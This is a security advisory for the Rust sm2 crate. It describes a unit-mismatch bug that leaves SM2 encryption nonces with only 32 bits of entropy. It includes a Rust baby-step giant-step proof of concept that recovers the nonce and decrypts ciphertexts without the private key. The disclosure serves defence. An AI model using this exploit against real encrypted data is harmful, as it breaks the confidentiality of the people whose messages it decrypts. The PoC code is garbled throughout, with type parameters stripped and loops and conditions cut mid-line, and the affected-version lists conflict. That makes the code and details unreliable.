GHSA-w3g8-fp6j-wvqw SM2-PKE has 32-bit Biased Nonce Vulnerability

• crates.io sm2: >= 0.14.0-pre.0, <= 0.14.0-rc.4 (no fix yet)

Summary A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext given only the public key and ciphertext. Affected Versions • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0) This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago. Details The root cause of this vulnerability is a unit mismatch in the `encrypt` function located in `sm2/src/pke/encrypting.rs`. 1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant `N_BYTES`. ```rust const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes) ``` 2. However, this `N_BYTES` value is then passed to the `next_k` helper function, which incorrectly interprets this value as a *bit length*. ```rust let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap(); ``` 3. Inside `next_k`, the `bit_length` parameter (which holds the value 32) is passed directly to `U256::try_random_bits`, a function that generates a random number with the specified number of bits. ```rust fn next_k(rng: &mut R, bit_length: u32) -> Result { let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?; // ... } ``` As a result, the ephemeral nonce `k` is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure. PoC A proof-of-concept demonstrating the feasibility of this attack is provided in `examples/bsgs_recover.rs`. The PoC performs the following steps: 1. Encrypt a Message: It uses the vulnerable `EncryptingKey::encrypt` function to encrypt a sample message. 2. Extract Ephemeral Public Key: It parses the ciphertext to extract `C1`, which is the ephemeral public key `[k]G`. 3. Recover Nonce `k`: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce `k`. This attack is computationally feasible on modern hardware in seconds with time complexity `O(2^16)`. 4. Decrypt without Secret Key: Once `k` is recovered, it computes the shared secret `[k]PB` (where `PB` is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key. `examples/bsgs_recover.rs` ``` rust //! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS) //! //! This example intentionally demonstrates an attack on the vulnerable //! `EncryptingKey::encrypt` implementation which (in the current repository //! state) may generate k with only 32 bits of entropy. The example: //! - Generates a key pair and encrypts a short plaintext. //! - Extracts C1 from the ciphertext (ephemeral public key [k]G). //! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16). //! use std::collections::HashMap; use std::error::Error; use rand_core::OsRng; use sm2::{ pke::Mode, pke::EncryptingKey, PublicKey, SecretKey, AffinePoint, ProjectivePoint, Scalar, }; use elliptic_curve::bigint::U256; use elliptic_curve::{Group, Curve}; use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint}; use sm3::{Sm3, Digest}; /// Baby-step giant-step over the 32-bit search space. fn bsgs_recover_k(c1: &AffinePoint) -> Option { // search parameters let m: u32 = 1 covers 2^32 space // baby steps: j*G -> j let mut baby: HashMap, u32> = HashMap::with_capacity(m as usize + 1); for j in 0..m { let j_u256 = U256::from_u32(j); let s = Scalar::from_uint(&j_u256).unwrap(); let p = ProjectivePoint::mul_by_generator(&s).to_affine(); let ep = p.to_encoded_point(false); baby.insert(ep.as_bytes().to_vec(), j); } // giant steps for i in 0..=m { let im = (i as u64) * (m as u64); let im_u256 = U256::from_u64(im); let im_scalar = Scalar::from_uint(&im_u256).unwrap(); let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine(); // candidate = C1 - im_point let c1_proj = ProjectivePoint::from(c1); let im_proj = ProjectivePoint::from(&im_point); let candidate_proj = c1_proj + (-im_proj); let candidate = candidate_proj.to_affine(); let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec(); if let Some(&j) = baby.get(&cand_bytes) { let k_recovered = im + (j as u64); return Some(U256::from_u64(k_recovered)); } } None } /// KDF using SM3 (re-implementation of crate internal `kdf`). fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) { let mut hasher = Sm3::new(); let klen = c2.len(); let mut ct: u32 = 0x00000001; let digest_size = 32usize; // SM3 output is 32 bytes let mut ha = vec![0u8; digest_size]; let encode_point = kpb.to_encoded_point(false); let mut offset = 0usize; while offset Result, Box> { // parse c1 let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32 let c1_len = n_bytes * 2 + 1; if ciphertext.len() { let c2_len = rest.len() - digest_size; rest.split_at(c2_len) } Mode::C1C3C2 => { let (c3, c2) = rest.split_at(digest_size); (c2, c3) } }; let mut c2 = c2_slice.to_owned(); // KDF to recover plaintext kdf_sm3(hpb, &mut c2); // verify c3 let mut check = Sm3::new(); let enc = hpb.to_encoded_point(false); check.update(enc.x().unwrap()); check.update(&c2); check.update(enc.y().unwrap()); let out = check.finalize_reset(); if out.as_slice() != c3_slice { return Err("c3 verification failed".into()); } Ok(c2) } /// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt. fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result, Box> { // extract C1 let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32 let c1_len = n_bytes * 2 + 1; let (c1_bytes, _rest) = …